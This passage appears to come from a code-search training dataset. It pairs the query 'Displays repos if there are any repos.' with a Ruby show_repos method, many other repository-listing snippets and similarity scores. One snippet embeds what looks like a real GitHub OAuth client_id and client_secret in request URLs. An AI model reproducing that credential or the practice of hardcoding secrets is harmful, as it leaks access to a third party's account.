"def list(user_name, repo_name, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n normalize! params\n\n response = if params['ref']\n ref = params.delete('ref')\n _validate_reference ref\n get_request(\"/repos/#{user}/#{repo}/git/refs/#{ref}\", params)\n else\n get_request(\"/repos/#{user}/#{repo}/git/refs\", params)\n end\n return response unless block_given?\n response.each { |el| yield el }\n end",
"def acquire_repo_list\n set_auth\n set_github_repo_name\n repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n repo_list << l[:name]\n end\n repo_list\nend",
"def all\n repos = self.class.load_json(repos_url)\n repos.map! { |repo| self.class.filter_repo_info(repo) }\n self.class.slice_in(repos, 3)\n end",
"def repos(opts={ push: false, details: false, orgs: true })\n repos = @client.repositories.map {|repo| parse_repo repo}\n @client.organizations.each do |org|\n repos += @client.organization_repositories(org.login).map {|repo| parse_repo repo}\n end\n repos.reject! {|repo| !repo[:push]} if opts[:push]\n repos.map { |repo| repo[:full_name] } unless opts[:details]\n end",
"def org_repos\n @org_repos ||= (\n talk 'org repos'\n logins = orgs.map { |org| org[:login] }\n\n logins.map do |login|\n talk \"repos for #{login}\"\n client.organization_repositories login.to_s\n end.flatten\n )\n end",
"def owned_repositories_with_user(user)\n repos = owned_repositories.publics\n repos = repos.or(user.membered_repositories.where(user_id: id)) if user\n repos\n end",
"def repos\n @client.repos.all.collect(&:clone_url)\n end",
"def find_repos\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @client = Octokit::Client.new(:access_token => @current_user.token)\n\n # get user input from API\n user_input_string = request.params[:_json]\n input_arr = user_input_string.gsub(/\\s+/, \"\").split(\",\")\n\n # search repos using user input\n repoids = input_arr.map do |input|\n repo = @client.repository(input)\n \"#{repo.to_hash[:id]}\"\n end\n\n # Save user search input and repos to UserPreference\n @current_user.UserPreference.search_input = user_input_string\n @current_user.UserPreference.repos = repoids.join(\",\")\n @current_user.UserPreference.save\n\n respond_to do |format|\n format.json {\n render json: repoids.to_json, status: 200\n }\n end\n end",
"def list_repos\n repos = []\n end_cursor = nil\n\n data = get_repos(end_cursor)\n repos = repos + data.fetch(\"nodes\")\n next_page = data.dig(\"pageInfo\", \"hasNextPage\")\n end_cursor = data.dig(\"pageInfo\", \"endCursor\")\n\n while next_page do\n data = get_repos(end_cursor)\n repos = repos + data.fetch(\"nodes\")\n next_page = data.dig(\"pageInfo\", \"hasNextPage\")\n end_cursor = data.dig(\"pageInfo\", \"endCursor\")\n end\n\n repos.reject { |r| r.dig(\"isArchived\") || r.dig(\"isDisabled\") }\n end",
"def repos\n pry(Git::Multi.repositories)\nend",
"def get_all\n @user_repository.get_all_users\n end",
"def owned_repositories_with_user(user)\n repos = self.owned_repositories.publics\n repos = repos.or(user.membered_repositories.where(user_id: self.id)) if user\n repos\n end",
"def repositories\n response = self.class.get('/repositories').body\n JSON.parse(response)\n end",
"def get_repos_by_orga(orga) \n\t\treturn self.fetch(\"repos?owner_name=#{orga}\")\n\tend",
"def repositories\n # TODO : merge with current data\n load_repos\n end",
"def list_repositories\n JSON.parse(request(:get, ''))\n end",
"def get_repo_names github_username , git_token\n\n Rails.cache.fetch(\"#{self.id}/repo_names\", expires_in: 6.hours) do\n repo_names = Array.new\n github = Github.new :oauth_token => git_token\n\n github.repos.list.body.each do |repo|\n if github_username == repo[\"owner\"][\"login\"]\n repo_names << { :user=>github_username ,:repo=>repo[\"name\"]}\n end\n end\n\n orgs_names = Array.new\n github.orgs.list.each do |org|\n orgs_names << org[\"login\"]\n end\n\n orgs_names.each do |oname|\n url = \"orgs/\"+oname+\"/repos\"\n \n github.get_request(url,Github::ParamsHash.new({})).each do |orepo|\n if oname == orepo[\"owner\"][\"login\"]\n repo_names << { :user=>oname ,:repo=>orepo[\"name\"]}\n end\n end\n end\n repo_names\n end\n end",
"def repositories(repo, options = {})\n paginate repo.public_user_repos_path, options if valid_user?(repo)\n end",
"def all\n return @raw_repos unless @raw_repos.empty?\n return [Template.root.basename.to_s] if Template.project?\n Template.root.join(Meta.new({}).repos_dir).children.map do |path|\n path.basename.to_s\n end\n\n rescue Errno::ENOENT\n then raise(\n Error::RepoNotFound\n )\n end",
"def get(user, repo_name)\n org_data = @connection.get(\"/repos/#{user}/#{repo_name}\")\n GitHubApi::Repo.new_with_all_data(self, org_data)\n rescue RestClient::ResourceNotFound\n raise NotFound, \"The repository #{user}/#{repo_name} does not exist or is not visible to the user.\"\n end",
"def fetch_repositories(repos = nil)\n # Init git settings\n Git.configure do |config|\n config.binary_path = \"#{@config['git']['path']}\"\n end\n @return_repos = []\n # Loop through repos and fetch it\n repos_to_fetch = repos.nil? ? self.repositories_to_fetch : repos\n repos_to_fetch.each do |repo|\n if File.directory?(repo)\n # Get branches\n g = Git.bare(\"#{repo}\", :log => @log)\n g.remotes.each do |remote|\n # Determine which \"remote\" to fetch e.g. \"git fetch github\"\n if @config['provider'].include?(\"#{remote}\")\n @log.info(\"Fetching remote #{remote} in #{repo}\")\n g.remote(remote).fetch\n @return_repos << repo\n end\n end\n end\n end\n @return_repos\n end",
"def index\n @repos = Repo.all\n end",
"def get_repositories\n get(\"#{url_base}/repositories?#{dc}\")[\"data\"]\n end",
"def user_repos1\n addons = Addon.joins(:user).where(\"lower(users.login) = ?\", params[:login].downcase)\n render json: to_v1_repo_hashes(addons)\n end",
"def repos(*args)\n params = arguments(args, required: [:q]).params\n params['q'] ||= arguments.q\n\n get_request('/search/repositories', arguments.params)\n end",
"def list_repo(user, repo)\n get_request(\"/repos/#{user}/#{repo}/issues\", arguments.params)\n end",
"def repos(name=nil, params={})\n params = name if name.is_a?Hash\n prefix = name.is_a?(String) ? \"./repos/#{self[\"login\"]}/#{name}\" : \"#{path_prefix}/repos\" \n Ghee::API::Repos::Proxy.new(connection,prefix, params)\n end",
"def list_repos(org_login)\n @connection.get(\"/orgs/#{org_login}/repos\").map do |repo_data|\n GitHubApi::Repo.new(@connection.repos, repo_data)\n end\n end",
"def list_collaborators(user, repo_name)\n @connection.get(\"/repos/#{user}/#{repo_name}/collaborators\").map do |user_data|\n GitHubApi::User.new(@connection.users, user_data)\n end\n end",
"def repos_languages_data(git_user)\n allRepos = []\n github = Github.new oauth_token: current_employee.github_account.oauth_token\n myRepos = github.repos.list user: git_user\n myRepos.each do |repo|\n repo_languages = github.repos.languages git_user, repo.name\n repoHash = repo_languages.to_hash\n repoHash[\"name\"] = repo.name\n repoHash[\"created_at\"] = repo.created_at\n repoHash[\"updated_at\"] = repo.updated_at\n allRepos.push(repoHash.symbolize_keys!)\n end\n allRepos\n end",
"def list_all_registered_repos\n data, code = get_json(@all_repos_path)\n return data,code\n end",
"def list\n @connection.get('/user/orgs').map do |org_data|\n GitHubApi::Org.new(self, org_data)\n end\n end",
"def get_repos project_id\n $logger.info \"Getting repos\"\n\n # from the bitbucket api\n rest_endpoint = \"/rest/api/1.0/projects/#{PROJECT_ID}/repos\"\n\n http = Net::HTTP.new(BASE_GIT_URL, BASE_GIT_PORT)\n repos_request = Net::HTTP::Get.new(\"/rest/api/1.0/projects/#{PROJECT_ID}/repos?limit=1000\")\n repos_request.basic_auth GIT_USER, GIT_PASSWORD\n repos_response = http.request(repos_request)\n repos_response.value\n\n # https://confluence.atlassian.com/bitbucket/what-is-a-slug-224395839.html\n repos_body = JSON.parse(repos_response.body)\n repos = repos_body['values'].map { |v| v['slug'] }\n\n $logger.info \"Found repos #{repos}\"\n\n return repos\nend",
"def show\n user= params[:user]\n repo= params[:repo]\n puts user\n puts repo\n url = BASE_URL + \"repos/\" + user + \"/\" + repo + \"/collaborators\"+ \"?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\"\n # url = BASE_URL + \"repos/rails/rails/collaborators\"\n # url = BASE_URL + \"repositories\"\n @repo = JSON.parse(open(url).read)\n @results = []\n\n\n @repo.each do |doc|\n ids = doc['login']\n url_people = BASE_URL + \"users/\" + ids + \"?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\"\n @results << JSON.parse(open(url_people).read)\n end\n\n end",
"def get(user_name, repo_name, params={ })\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n normalize! params\n\n url = if BitBucket.options[:bitbucket_server]\n \"/1.0/projects/#{user}/repos/#{repo.downcase}\"\n else\n \"/2.0/repositories/#{user}/#{repo.downcase}\"\n end\n\n get_request(url, params)\n end",
"def repos\n ReposAPI.new(self)\n end",
"def team_repos(id)\n get \"/teams/#{id}/repos\"\n end",
"def repos(options = {})\n Tinybucket::Resource::Team::Repos.new(username, options)\n end",
"def user_repos_url(username,token) # :yields:String\n BASE_URL + USERS + \"#{username}/\" + \"repos?access_token=#{token}\"\n end",
"def team_repositories\n team_profiles.map(&:repositories).flatten\n end",
"def get_repos\n\t\trepo_list = []\n\t\tparsed_config = begin\n\t\t\tYAML.load(File.open(@path_to_config_yml))\n\t\trescue ArgumentError => e\n \t\t\tputs \"Could not parse YAML: #{e.message}\"\n\t\tend\n\t\tparsed_config['sections'].each do |section|\n\t\t\trepo_list.push(section['repository']['name'].gsub(/\\w*-?\\w*\\//,''))\n\t\tend\n\t\trepo_list.sort\n\tend",
"def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end",
"def github_projects\n Rails.cache.fetch(\"/users/#{self.id}/github_projects\", :expires_in => 1.day) {\n gh = Github.new(authentications.where(:provider => 'github').first.provider_token)\n gh.repos\n }\n end",
"def repositories\n @repositories ||= (organization.exists? ? organization.repositories : client.list_repositories)\n end",
"def list_repo(repo_id)\n response = HTTParty.get(\n GIT_BASE_URL + 'projects/' + repo_id.to_s,\n :headers => {\n 'PRIVATE-TOKEN' => GIT_TOKEN\n }\n )\n Rails.logger.info \"Git server response (list repo): #{response}\"\n return response['content']\n end",
"def add_repositories_for_member name\n # For a single repo, we'd call\n # GET /users/:username/repos (see https://developer.github.com/v3/repos/#list-user-repositories)\n GithubApi.get(\"/users/#{name}/repos\").each do |r|\n @repositories << r[\"full_name\"]\n end\n end",
"def show_repo_list\n # Synchronize user's id_github with Git Hub (4 days between refreshs)\n @owner.sync_github!(4.days).save!\n \n # Synchronize list of user's projects (4 hours between refreshs)\n if @owner.sync_projects_delay?(4.hours)\n github_projects = @owner.get_github_projects\n \n if github_projects\n @owner.upd_projectlist_at = Time.now\n repos = CacheRepo.where(path: github_projects)\n \n # Drop any projects than no more exist in the user space\n if repos.length > 0\n CacheRepo.where.not(id: repos.map(&:id)).where(owner: @owner).delete_all\n end\n \n # Add any new project to this user\n (github_projects - repos.map(&:path)).each do |github_project_new|\n new_project = CacheRepo.new(path: github_project_new, owner: @owner)\n # Alway be aware of we have multiple workers and possibility concurrent insert\n if !new_project.save\n new_project = CacheRepo.where(path: github_project_new).first\n new_project.owner = @owner\n new_project.save!\n end\n end\n end\n @owner.save!\n end\n \n # Repository information will be refreshed only if the user request it\n # So, this action is more light than #show_repo_details\n @projects = CacheRepo.where(owner: @owner)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_list, status: :ok, location: @owner }\n end\n end",
"def users\n @users ||= begin\n users = client.team_members ENV[\"GITHUB_TEAM_ID\"], :per_page => 100\n while client.last_response.rels[:next] && client.rate_limit.remaining > 0\n users.concat client.get client.last_response.rels[:next].href\n end\n users.map { |u| User.new u[:login] }\n end\n end",
"def repos(login, name = nil)\n repo = name.nil? ? login : \"#{login}/#{name}\"\n path_prefix = \"./repos/#{repo}\"\n proxy = Proxy.new(connection, path_prefix)\n proxy.repo_name = repo\n proxy\n end",
"def search_repos\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @client = Octokit::Client.new(:access_token => @current_user.token)\n\n # search repos using user query\n repos = @client.search_repositories(\"ember\")\n\n @json = repos.items.map do |repo|\n nhash = repo.to_hash\n nhash\n end\n\n respond_to do |format|\n format.json {\n render json: @json.to_json, status: 200\n }\n end\n end",
"def repositories_review\n @repositories ||= @project.repositories.map do |repo|\n next unless RepositoryAvailability.new(repo).available_for?(user)\n\n RepositoryUserReview.new(repo.full_name, @user, @project)\n end.compact\n end",
"def watched_repos\n @repos ||= get(\"/repos/watched/#{login}\")['repositories'].map { |r| Repo.new(connection, r) }\n end",
"def index\n @git_hub_repos = GitHubRepo.all\n end",
"def find_all_collabs_for_repo\n puts \"Enter a repo name with *EXACT* spelling and capitalization:\"\n input = gets_user_input\n repo_by_project_name = find_repo_by_project_name(input)\n if repo_by_project_name == nil\n puts \"No repo found\"\n else\n repo_by_project_name.users.each do |user|\n puts user.github_username\n end\n end\n menu\n end",
"def gl_repos\n all_repos.select{|x| x.is_a?(Repository::Git)}\n end",
"def repos(*args)\n params = args.extract_options!\n normalize! params\n assert_required_keys %w[ keyword ], params\n\n get_request(\"/legacy/repos/search/#{params.delete('keyword')}\", params)\n end",
"def all_repos_as_generator\n Enumerator.new do |enum|\n each do |repo|\n enum.yield repo\n end\n end\n end",
"def all_repos_as_generator\n Enumerator.new do |enum|\n each do |repo|\n enum.yield repo\n end\n end\n end",
"def display_org_repos(org)\n repos = Commitchamp::Repo.where(organization: org).order(name: :asc)\n puts \"\\n## Repositories for Organization: #{org}\"\n repos.each do |r|\n puts \"#{r.name}\"\n end\n end",
"def get_contributors_of_a_repository(username,repo_name) # :yields: JSON\n uri=URI.parse(@@uri_builder.get_repo_content(Api_options::REPO::CONTRIBUTORS,username,repo_name))\n http= HttpHandler.initiate_http(uri)\n begin\n response=HttpHandler.get_response(http,uri)\n rescue ArgumentError\n puts \"Request failed with code: #{response.code}\"\n else\n @@responseStatus=true\n return response\n end\n end",
"def repos(config_hash)\n if config_hash[\"organizations\"]\n repos = []\n config_hash[\"organizations\"][\"orgs\"].each do |org|\n # grab all the full repo names in this org. If no type is specified use public and also skip the forks\n # we also skip anything in the blacklist array\n repos << github.org_repos(org, type: config_hash[\"organizations\"][\"type\"] || \"public\")\n .collect { |x| x[\"full_name\"] unless x[\"fork\"] || x[\"archived\"] || (config_hash[\"organizations\"][\"blacklist\"] && config_hash[\"organizations\"][\"blacklist\"].include?(x[\"full_name\"])) }\n end\n repo_list = repos.flatten.compact.sort # return a single sorted array w/o nils\n puts \"Based on the provided org(s) (#{config_hash[\"organizations\"][\"orgs\"].join(',')}) managing the following repos: #{repo_list.join(', ')}\"\n repo_list\n elsif config_hash[\"repositories\"]\n config_hash[\"repositories\"]\n else\n puts \"Config does not include either 'repositories' or 'organizations' sections. Cannot continue!\"\n exit!\n end\nend",
"def get_github_repos_already_cloned\n repos = Array.new\n\n configatron.dir.children.each do |repo_name|\n if repo_name.directory?\n begin\n repo = Github.repos.get(\n user: ENV['GITHUB_ACCOUNT'],\n oauth_token: ENV['GITHUB_API_TOKEN'],\n repo: repo_name.basename.to_s\n )\n rescue Exception => e\n puts \"\\n#{e}\"\n next\n end\n repos << repo if repo.fork\n end\n end # configatron.dir.children.each do |repo_name|\n\n return repos\nend",
"def repositories_with_pull_requests(reponames = [])\n repositories = []\n page = 1\n loop do\n repositories_in_page = load_repos_in_page(page)\n break if repositories_in_page.empty?\n repositories.concat(repositories_in_page)\n page += 1\n end\n repositories.select! { |repo| reponames.include?(repo.name) } unless reponames.empty?\n repositories.select!(&:any_pull_requests?)\n repositories\n end",
"def public_repositories\n raw_repos = GitHub::API.json(\"/organizations/#{self.login}/public_repositories\")['repositories']\n repos = []\n\n raw_repos.each do |repo|\n repos << GitHub::Repository.new(repo)\n end\n\n return repos\n end",
"def list(*args)\n params = args.extract_options!\n normalize! params\n\n response = if (user_name = params.delete(\"user\"))\n get_request(\"/users/#{user_name}/orgs\", params)\n else\n # For the authenticated user\n get_request(\"/user/orgs\", params)\n end\n return response unless block_given?\n response.each { |el| yield el }\n end",
"def index\n @github_users = GithubUser.all\n end",
"def repositories_to_fetch\n # Find all .git Repositories - Ignore *.wiki.git\n repos = Dir.glob(\"#{@config['git']['repos']}/*/*{[!.wiki]}.git\")\n\n # Build up array of NOT ignored repositories\n delete_path = []\n @config['ignore'].each do |ignored|\n path = File.join(@config['git']['repos'], ignored)\n delete_path += repos.grep /^#{path}/\n repos.delete(delete_path)\n end\n\n return repos - delete_path\n\n end",
"def repositories\n Repository.where(user_id: group_ids).or(membered_repositories).order(\"updated_at desc\")\n end",
"def repositories\n\t\t\telems = []\n\t\t\tget_resource_link(:datacenterrepositories, \"datacenterRepositories\", \"datacenterRepository\").each do |data|\n\t\t\t\telems << Repository.new(data)\n\t\t\tend\n\t\t\telems\n\t\tend",
"def repos(show_commits = false)\n response = @github.repos.list(user: 'siakaramalegos', sort: 'updated', direction: 'desc', page: 1, per_page: 10)\n repos = response.body\n\n repos.each_with_index do |repo, index|\n puts '-' * 80\n date_string = repo.updated_at\n date = DateTime.parse(date_string).to_date\n puts \"(#{index + 1}) #{repo.name}: #{repo.description} (updated: #{date.stamp('12/30/99')})\"\n\n if show_commits\n repo_commits = @github.repos.commits.list('siakaramalegos', repo.name, page: 1, per_page: 10).body\n\n repo_commits.each do |c|\n date_string = c.commit.author.date\n date = DateTime.parse(date_string).to_date\n puts \" #{c.commit.message} (#{date.stamp('12/30/99')})\"\n end\n end\n end\n puts '-' * 80\n repos\n end"
] |
[
"0.8628239",
"0.83014166",
"0.81374943",
"0.79916614",
"0.7936535",
"0.7908491",
"0.790339",
"0.7857646",
"0.78492117",
"0.78342134",
"0.77074414",
"0.76639444",
"0.7661988",
"0.7585843",
"0.7554443",
"0.7409814",
"0.73843443",
"0.735112",
"0.7348083",
"0.7278906",
"0.7272771",
"0.7264943",
"0.72147375",
"0.7205033",
"0.7161467",
"0.7158006",
"0.71382856",
"0.71357745",
"0.713543",
"0.71236616",
"0.7119107",
"0.71097594",
"0.6984574",
"0.6981781",
"0.69366616",
"0.6926836",
"0.69152284",
"0.68908405",
"0.68668985",
"0.6865956",
"0.6857451",
"0.68352234",
"0.6798758",
"0.6775527",
"0.6774613",
"0.67587006",
"0.6711842",
"0.66698486",
"0.6636144",
"0.66209865",
"0.6612101",
"0.65762883",
"0.6568982",
"0.65613526",
"0.65365994",
"0.652638",
"0.6524102",
"0.6523938",
"0.6512878",
"0.6509711",
"0.64938194",
"0.64819115",
"0.64411676",
"0.6436533",
"0.64349824",
"0.64319456",
"0.6421184",
"0.64137423",
"0.6409706",
"0.63976926",
"0.6390184",
"0.63633317",
"0.6355686",
"0.63502914",
"0.6337411",
"0.63367456",
"0.6312704",
"0.63096815",
"0.62689567",
"0.62662554",
"0.6251411",
"0.62244624",
"0.62170696",
"0.6204844",
"0.61944956",
"0.619204",
"0.618109",
"0.618109",
"0.61791646",
"0.61690754",
"0.6167045",
"0.61649585",
"0.61521685",
"0.6144085",
"0.61255926",
"0.6116347",
"0.61162174",
"0.61152625",
"0.6103727",
"0.60992706"
] |
0.84191203
|
1
|
Displays repos if there are any repos.
|
def show_repos(repos)
if repos.length == 0
false
else
repos.each_with_index do |repo, index|
puts "#{index+1}. #{repo.project_name}"
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def display_org_repos(org)\n repos = Commitchamp::Repo.where(organization: org).order(name: :asc)\n puts \"\\n## Repositories for Organization: #{org}\"\n repos.each do |r|\n puts \"#{r.name}\"\n end\n end",
"def print_existing_repos\n puts \"\\n### Existing Organizations ###\"\n orgs = Commitchamp::Repo.select(:organization).distinct.order(organization: :asc)\n orgs.each do |o|\n puts \"#{o.organization}\"\n end\n input = prompt(\"\\nWhich organization would you like to access?\", /^.+$/)\n puts\n self.display_org_repos(input)\n end",
"def display_repository\n return [_('None specified')] unless @research_output.repositories.any?\n\n @research_output.repositories.map(&:name)\n end",
"def index\n @repos = Repo.all\n end",
"def show_repo_list\n # Synchronize user's id_github with Git Hub (4 days between refreshs)\n @owner.sync_github!(4.days).save!\n \n # Synchronize list of user's projects (4 hours between refreshs)\n if @owner.sync_projects_delay?(4.hours)\n github_projects = @owner.get_github_projects\n \n if github_projects\n @owner.upd_projectlist_at = Time.now\n repos = CacheRepo.where(path: github_projects)\n \n # Drop any projects than no more exist in the user space\n if repos.length > 0\n CacheRepo.where.not(id: repos.map(&:id)).where(owner: @owner).delete_all\n end\n \n # Add any new project to this user\n (github_projects - repos.map(&:path)).each do |github_project_new|\n new_project = CacheRepo.new(path: github_project_new, owner: @owner)\n # Alway be aware of we have multiple workers and possibility concurrent insert\n if !new_project.save\n new_project = CacheRepo.where(path: github_project_new).first\n new_project.owner = @owner\n new_project.save!\n end\n end\n end\n @owner.save!\n end\n \n # Repository information will be refreshed only if the user request it\n # So, this action is more light than #show_repo_details\n @projects = CacheRepo.where(owner: @owner)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_list, status: :ok, location: @owner }\n end\n end",
"def show\n read_repo\n if @branches.count < 1\n render :template => 'repositories/newrepo'\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repository }\n end\n end",
"def list\n @repos\n end",
"def show\n @repo_cred = @repo.repo_creds.where(created_by_id: current_user.id).first || @repo.repo_creds.new\n @repo_projects = @repo.projects @repo_cred\n logger.debug \"@repo_projects: #{@repo_projects}\"\n end",
"def repos(show_commits = false)\n response = @github.repos.list(user: 'siakaramalegos', sort: 'updated', direction: 'desc', page: 1, per_page: 10)\n repos = response.body\n\n repos.each_with_index do |repo, index|\n puts '-' * 80\n date_string = repo.updated_at\n date = DateTime.parse(date_string).to_date\n puts \"(#{index + 1}) #{repo.name}: #{repo.description} (updated: #{date.stamp('12/30/99')})\"\n\n if show_commits\n repo_commits = @github.repos.commits.list('siakaramalegos', repo.name, page: 1, per_page: 10).body\n\n repo_commits.each do |c|\n date_string = c.commit.author.date\n date = DateTime.parse(date_string).to_date\n puts \" #{c.commit.message} (#{date.stamp('12/30/99')})\"\n end\n end\n end\n puts '-' * 80\n repos\n end",
"def index\n repos = CodeburnerUtil.get_repos\n\n render(:json => { \"count\": repos.length, \"results\": repos })\n end",
"def list\n @connection.get('/user/repos').map do |repo_data|\n Rails.logger.info \"listing repos\"\n GitHubApi::Repo.new(self, repo_data)\n end\n end",
"def repos\n client.repos({}, query: { sort: \"asc\" })\n end",
"def repos\n @repos ||= get(\"/repos/show/#{login}\")['repositories'].map { |r| Repo.new(connection, r) }\n end",
"def index\n @git_hub_repos = GitHubRepo.all\n end",
"def list\n # ask the repo for a list of all the users\n users = @repo.all\n # pass that list to the view to display\n @view.list_users(users)\n end",
"def show\n @repo = @user.repos.find_by_name!(params[:id])\n render json: to_json(@repo)\n end",
"def index\n @repositories = Repository.all\n @path_repos = request.path.starts_with? '/repos'\n end",
"def list_repositories\n return static_list_repositories if false\n super.select do |repo|\n sleep 1\n begin\n github[\"repos/#{repo['full_name']}/contents/.dockstore.yml\"].head\n sleep 1\n rescue RestClient::NotFound\n output.puts \"No .dockstore.yml found in #{repo['full_name']}, skipping\"\n end\n end\n end",
"def index\n @repos = @user.repos.includes(:user)\n render json: to_json(@repos)\n end",
"def get_repos\n\t\t@repos = Repo.all\n\tend",
"def display_contributions(repo_full_name)\n repo = Commitchamp::Repo.find_by(full_name: repo_full_name)\n contributors = repo.contributions.order('additions + deletions + commits DESC').limit(10)\n puts \"\\n##Contributions for '#{repo.full_name}'\"\n puts \"\\nUsername | Additions | Deletions | Commits\"\n contributors.each do |x|\n puts \"#{x.user.login} | #{x.additions} | #{x.deletions} | #{x.commits}\"\n end\n puts\n end",
"def get_repos\n\t\tif current_user.nil?\n\t\t\t@repos = Repo.where(:user_id => nil)\n\t\telse\n\t\t\t@repos = current_user.repos\n\t\tend\n\tend",
"def get_repos\n # using oauth token to increase limit of request to github api to 5000\n client = Octokit::Client.new :access_token => self.github_token\n (client.repositories self.github_name, {:type => 'all'}).map do |repo|\n repo.full_name\n end\n end",
"def list_repos\n repos = []\n end_cursor = nil\n\n data = get_repos(end_cursor)\n repos = repos + data.fetch(\"nodes\")\n next_page = data.dig(\"pageInfo\", \"hasNextPage\")\n end_cursor = data.dig(\"pageInfo\", \"endCursor\")\n\n while next_page do\n data = get_repos(end_cursor)\n repos = repos + data.fetch(\"nodes\")\n next_page = data.dig(\"pageInfo\", \"hasNextPage\")\n end_cursor = data.dig(\"pageInfo\", \"endCursor\")\n end\n\n repos.reject { |r| r.dig(\"isArchived\") || r.dig(\"isDisabled\") }\n end",
"def get_repos\n @api.list_repositories\n end",
"def show\n user= params[:user]\n repo= params[:repo]\n puts user\n puts repo\n url = BASE_URL + \"repos/\" + user + \"/\" + repo + \"/collaborators\"+ \"?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\"\n # url = BASE_URL + \"repos/rails/rails/collaborators\"\n # url = BASE_URL + \"repositories\"\n @repo = JSON.parse(open(url).read)\n @results = []\n\n\n @repo.each do |doc|\n ids = doc['login']\n url_people = BASE_URL + \"users/\" + ids + \"?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\"\n @results << JSON.parse(open(url_people).read)\n end\n\n end",
"def index\n @repositories = Repository.all\n end",
"def user_repos\n @repos = @github.repos.list user: params[:username]\n render json: @repos\n end",
"def repos(opts={ push: false, details: false, orgs: true })\n repos = @client.repositories.map {|repo| parse_repo repo}\n @client.organizations.each do |org|\n repos += @client.organization_repositories(org.login).map {|repo| parse_repo repo}\n end\n repos.reject! {|repo| !repo[:push]} if opts[:push]\n repos.map { |repo| repo[:full_name] } unless opts[:details]\n end",
"def render(context)\n @output = \"<section class=\\\"gh-cards\\\">\\n\"\n if @args.length == 0\n show_n_yours(30)\n elsif @args.length == 1\n # User wants to show n of their repos\n if number_or_nil(@args[0])\n show_n_yours(@args[0].to_i)\n else # User wants to show one of their repos\n show_repo_yours(@args[0])\n end\n elsif @args.length == 2\n # User wants to show n of someone else's repos\n if number_or_nil(@args[1])\n show_n_repos(@args[0], @args[1].to_i)\n else # User wants to show one of someone else's repo\n show_repo(@args[0], @args[1])\n end\n end\n @output += \"</section>\"\n end",
"def index\n if (params[:search]) && (params[:search].empty? == false) \n urlformated = URI.encode(params[:search])\n uri = URI.parse(\"https://api.github.com/legacy/repos/search/#{urlformated}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (uri.scheme == 'https')\n \n \n request = Net::HTTP::Get.new(uri.request_uri)\n \n res = http.request(request)\n response = JSON.parse(res.body)\n \n\n repository = response['repositories'].map {|rd|\\\n GithubRepository.new( rd['owner'], rd['name'],\\\n rd['description'], rd['language'], rd['url'])} \n \n @github_repositories = repository\n else\n @github_repositories = nil\n end \n end",
"def org_repos\n @org_repos ||= (\n talk 'org repos'\n logins = orgs.map { |org| org[:login] }\n\n logins.map do |login|\n talk \"repos for #{login}\"\n client.organization_repositories login.to_s\n end.flatten\n )\n end",
"def repos\n @repos ||= OY.repos\n end",
"def all\n return @raw_repos unless @raw_repos.empty?\n return [Template.root.basename.to_s] if Template.project?\n Template.root.join(Meta.new({}).repos_dir).children.map do |path|\n path.basename.to_s\n end\n\n rescue Errno::ENOENT\n then raise(\n Error::RepoNotFound\n )\n end",
"def find_all_collabs_for_repo\n puts \"Enter a repo name with *EXACT* spelling and capitalization:\"\n input = gets_user_input\n repo_by_project_name = find_repo_by_project_name(input)\n if repo_by_project_name == nil\n puts \"No repo found\"\n else\n repo_by_project_name.users.each do |user|\n puts user.github_username\n end\n end\n menu\n end",
"def ensure_repo_listing (repo)\n data, code = get_json(@all_repos_path)\n return code if code > 399 && code != 404\n # putting repo in the list\n if code == 404\n data = { 'repos' => { repo => 1 } }\n else\n data['repos'][repo] = 1\n end\n code = put_json_in_path(@all_repos_path, data)\n end",
"def get_all_user_repos\n user = User.find_by(uuid: params[:uuid])\n\n client = Octokit::Client.new(:access_token => user.password)\n repo_list = []\n client.repositories(:user => user.gh_username).each { |repo|\n repo_list.push(repo.name)\n }\n render :json => {:repos => repo_list}\n end",
"def get_repos\n begin\n @repos ||= github_api_setup.repos.list\n rescue Exception => e\n logger.error \"Github #get_repos error #{e}\"\n end\n end",
"def acquire_repo_list\n set_auth\n set_github_repo_name\n repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n repo_list << l[:name]\n end\n repo_list\nend",
"def all_repos\n\t\tif GitHosting.multi_repos?\n\t\t repositories\n\t\telse\n\t\t [ repository ].compact\n\t\tend\n\t end",
"def show\n if params[:id]\n @repo = Repo.find_by_id(params[:id])\n ident = \"with ID \" + params[:id].to_s\n end\n \n if (params[:owner] and params[:name])\n @repo = Repo.find_by_owner_and_name(params[:owner].strip, params[:name].strip)\n ident = params[:owner].strip + \"/\" + params[:name].strip\n end\n \n unless @repo.nil?\n @alternatives = @repo.find_related_labels\n end\n \n respond_to do |format|\n unless @repo.nil? \n # Repo and Alternatives found\n format.html # show.html.erb\n format.json { render json: @repo }\n else\n # Repo could not be found\n redirect_to repos_url, notice: \"Repo '#{ident}' could not be found.\"\n end\n end\n end",
"def getprojects()\n printRepoHeader\n \n loop do\n # Print each of the new returned repositories\n begin\n get.each do |repo|\n printRepo(repo) if (@slugs.add?(repo['slug']))\n\n # Flush to prevent data loss if we crash\n STDOUT.flush\n end\n rescue Exception => msg\n STDERR.puts \"WARNING: Poll failed at #{Time.now}\"\n STDERR.puts msg\n end\n\n # Poll every 5 minutes\n sleep 300\n end\n end",
"def display_tasks\n # get the array from the repo\n tasks = @repo.all\n # display all the tasks\n @view.display_tasks(tasks)\n end",
"def find_repositories\n @repos = GithubApi.call :repos\n end",
"def libraries_display\n string = \"\"\n if self.library.empty?\n string += \"None\"\n else\n self.library.each do |l|\n string += \"#{l.branch_name}\\n \"\n end\n end\n string\n end",
